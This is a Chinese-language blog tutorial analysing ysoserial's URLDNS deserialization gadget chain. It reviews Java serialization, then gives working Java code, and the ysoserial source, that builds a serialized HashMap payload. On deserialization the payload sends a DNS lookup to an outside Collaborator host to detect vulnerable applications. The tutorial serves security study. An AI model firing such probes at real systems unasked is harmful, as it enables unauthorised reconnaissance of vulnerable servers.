0x00 前言
本文所述的是URLDNS利用链分析,在此之前还要先介绍一下一个⾥程碑碑式的工具:ysoserial
引用官网的一句描述:
ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
该工具它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。
而URLDNS就是ysoserial其中的一条利用链,虽然说不能执行命令,但可以检测是否存在反序列化漏洞。
利利⽤用链也叫“gadget chains”,我们通常称为gadget。
0x01 Java序列化和反序列化
在了解URLDNS链之前我们先来理解一下Java的序列化和反序列化的概念。
我们知道PHP也是存在序列化和反序列化的,PHP中是使用各种魔术方法来实现,那在Java中就是使用readObject和writeObject来实现的。
在看本文时记得先去学习一下Java的基础,下面只是作为回顾介绍
Java序列化
对象序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。核心作用是对象状态的保存与重建。
我们先建立一个可序列化的普通类,这个类必须要实现一个接口java.io.Serializable
才能被序列化:
import java.io.Serializable;
public class Serializable_01 implements Serializable {
public String name;
public int age;
public void Method1(){
System.out.println("Method1 Running");
}
@Override
public String toString() {
return "Serializable_01{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public Serializable_01(String name, int age) {
this.name = name;
this.age = age;
}
}
接下来我们来对该对象进行序列化:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Serial_Test {
public static void main(String[] args) {
Serializable_01 Ser = new Serializable_01("xiaomign",12);
ObjectOutputStream obj =null;
try {
obj = new ObjectOutputStream(new FileOutputStream("xiaoming.ser"));
obj.writeObject(Ser);
} catch (IOException e) {
e.printStackTrace();
}
}
}
我们实例化了Serializable_01
对象,然后利用对象的构造函数赋值,最后使用writeObject
进行把对象变成二进制内容写入到了xiaoming.ser
文件中,这样序列化就完成了。
如果我们想要看序列化后的内容,可以使用一个工具进行查询SerializationDumper
使用方法:
java -jar SerializationDumper-v1.13.jar -r xiaoming.ser
查询刚才序列化的文件结果:
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 15 - 0x00 0f
Value - Serializable_01 - 0x53657269616c697a61626c655f3031
serialVersionUID - 0x0f e1 71 6f 69 bd 44 6f
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 02
classdata
Serializable_01
values
age
(int)12 - 0x00 00 00 0c
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 8 - 0x00 08
Value - xiaomign - 0x7869616f6d69676e
Java反序列化
当然有序列化就有反序列化,反序列化就是客户端从文件中或网络上获得序列化后的对象字节流,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。
上面我们使用writeObject
来进行写入序列化内容,我们就可以使用readObject
来反序列化序列化后的文件。
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerial_Test {
public static void main(String[] args) {
Serializable_01 Ser = null;
ObjectInputStream obj = null;
try {
obj = new ObjectInputStream(new FileInputStream("xiaoming.ser"));
Ser = (Serializable_01) obj.readObject();
Ser.Method1();
System.out.println(Ser.name);
obj.close();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
上面代码执行后输出的结果:
Method1 Running
xiaomign
有些同学很奇怪说为什么要加这一句啊:
Ser = (Serializable_01) obj.readObject();
如果我们直接使用下面来触发ToString
方法:
System.out.println(obj.readObject());
发现输出下面内容:
Serializable_01{name='xiaomign', age=12}
但是你无法使用obj.readObject().Method1
去触发对象里面的方法,因为没有用对象转换之前是一个Object
类,所以只能出发Object
类默认的方法。
为什么需要序列化与反序列化?
为什么要序列化,那就是说一下序列化的好处喽,序列化有什么什么优点,所以我们要序列化。
一:对象序列化可以实现分布式对象。
主要应用例如:RMI(即远程调用Remote Method Invocation)要利用对象序列化运行远程主机上的服务,就像在本地机上运行对象时一样。
二:java对象序列化不仅保留一个对象的数据,而且递归保存对象引用的每个对象的数据。
可以将整个对象层次写入字节流中,可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的"深复制",即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。
三:序列化可以将内存中的类写入文件或数据库中。
比如:将某个类序列化后存为文件,下次读取时只需将文件中的数据反序列化就可以将原先的类还原到内存中。也可以将类序列化为流数据进行传输。
总的来说就是将一个已经实例化的类转成文件存储,下次需要实例化的时候只要反序列化即可将类实例化到内存中并保留序列化时类中的所有变量和状态。
四:对象、文件、数据,有许多不同的格式,很难统一传输和保存。
序列化以后就都是字节流了,无论原来是什么东西,都能变成一样的东西,就可以进行通用的格式传输或保存,传输结束以后,要再次使用,就进行反序列化还原,这样对象还是对象,文件还是文件。
这块内容摘录自:Java知音
0x02 URLDNS链分析
URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。
但是它有以下优点:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞
序列化分析
我们先来写一个序列化的对象:
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDnsExp {
public static void main(String[] args) throws Exception{
HashMap<URL, String> obj = new HashMap<URL, String>();
URL url = new URL("http://hyji8wgb7eebb7rimnzf84prfil9mxb.oastify.com");
obj.put(url,"1234");
//序列化
FileOutputStream fo = new FileOutputStream("dns.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}
我们来运行一下就可以发现burp上面的Collaborator记录了两条DNS的访问:
为什么能触发DNS访问呢?我们可以Debug一下触发的流程:
先在put的地方下一个断点:
跟到put
方法,这里也解释上面为什么要赋两个值了,而且第一个必须是URL的类,因为要把URL对象传到hash方法到中:
继续跟hash
方法:
如果key
不等于空,那么就执行key
的hashCode方法,key
是一个URL的对象,所以会跳到URL类里面的hashCode方法:
判断如果不等于-1那么就往下执行,这里的hashCode默认就是-1:
还有下面的handler指向的是URLStreamHandler
类的hashCode方法:
继续往下跟getHostAddress
方法:
到URL类中的 InetAddress.getByName
方法:
一般到这里就OK了,如果真想继续跟下去就会到InetAddress
类中方法才触发:
getAddressesFromNameService->nameService.lookupAllHostAddr(host)
我们可以看下getByName
的官方介绍:
给一个host’s name返回IP地址。
那么整个的过程如下:
HashMap.put() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
我们可以知道执行上面的代码进行序列化的时候也会触发DNS请求,那么我们怎么样才可以不触发从而进行序列化呢?
我们的关键点还是在HashMap中的hashCode方法中,只要我们设置hashCode的值不为-1即可。
我们知道URL里面的hashCode值是私有的,我们不能通过对象直接写入内容,但是可以使用Java的反射
特性。
我们在原有的基础上加入下面的内容:
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDnsExp {
public static void main(String[] args) throws Exception{
HashMap<URL, String> obj = new HashMap<URL, String>();
URL url = new URL("http://hyji8wgb7eebb7rimnzf84prfil9mxb.oastify.com");
Class clazz = Class.forName("java.net.URL");
Field field = clazz.getDeclaredField("hashCode");;
field.setAccessible(true);
field.set(url,1234);
obj.put(url,"qwer");
//序列化
FileOutputStream fo = new FileOutputStream("dns.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}
反射这块内容相信大家已经很熟悉了,获取私有属性的时候要使用getDeclaredField
方法,还需要setAccessible
来设置访问权限。
我们只要设置URL类中的hashCode为-1即可,再执行的时候我们已经发现不再触发DNS请求了。
当中触发DNS请求为什么选URL类,因为URL类是可被序列化的,HashMap也是implements了Serializable接口。
反序列化分析
经过上面的过程分析之后大家估计都会疑惑,为什么要用HashMap
这个类呢?
这是一个非常好的问题,初学者都会有这样的疑惑。
大家有没有记得我们在第一章的反序列化中提到过:
能被序列化和反序列化的类需要实现Serializable接口,正好HashMap实现了这个接口。
并且HashMap
类也重写了readObject方法。
我们现在先来写一个反序列化的代码:
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class UrlDnsRead {
public static void main(String[] args) throws Exception{
FileInputStream fis = new FileInputStream("dns.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
}
我们执行之后发现并没有请求,我们可以在URL类的hashCode方法中下一个断点进行调试:
有人会发现执行到handler
的时候会直接跳到URLStreamHandler
的抽象类当中,因为在URL类中的215行这个handler
是属于URLStreamHandler类的。
我们可以发现现在的hashCode的值是我们在序列化的时候设置的值。
因为我们在序列化的时候为了不请求dns,设置hashCode不为-1了,当hashCode为-1的时候才能触发dns请求。
我们可以使用SerializationDumper查看序列化后的值是否被写进去:
➜ java -jar SerializationDumper-v1.13.jar -r dns.ser
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
....
....
....
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 04
classdata
java.net.URL
values
hashCode
(int)1234 - 0x00 00 04 d2 //这里就是设置的数值
port
(int)-1 - 0xff ff ff ff
authority
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 05
Length - 42 - 0x00 2a
Value - 6qxyz8op2m5bp7jw5gf83vpgq7wxkm.oastify.com - 0x367178797a386f70326d356270376a773567663833767067713777786b6d2e6f6173746966792e636f6d
file
怎么才能在反序列化的时候触发而在序列化的时候不触发呢?在序列化的时候加上这一句即可:
field.set(url,-1);
那么我们序列化的整段代码就变为:
我们再次执行反序列化的时候就看到DNS请求了:
我们debug一下反序列化的过程,先在HashMap中重写readObject方法中下断点,我们往下走可以看到putVal中的hash方法:
再往下走是否似曾相识呢:
Key是URL对象,所以会触发URL里面的hashCode方法:
继续往下走就跟我们序列化的是一样的:
所以整个流程如下:
HashMap.readObject() -> HashMap.putVal()->HashMap.hash()->URL.hashcode()->URLStreamHandler().hashCode().getHostAddress->URLStreamHandler().hashCode().getHostAddress.getByName()
ysoserial之URLDNS分析
我们可以看下ysoserial中的URLDNS.java是怎么写的:
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
其实跟我们上面序列化的部分是大同小异的,只是它把下面这句:
field.set(url,1234);
换成了下面这段,重写了SilentURLStreamHandler方法:
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
0x03 总结
整个过程其实很简单,因为相比于CC链来说确实是非常简单的一条链了,笔者文笔不是很好,大家如有建议可以在评论区留下宝贵的意见。
0x04 参考
https://github.com/frohoff/ysoserial
https://yoga7xm.top/2019/08/17/urldns/
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/urldns_chain_analysis.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。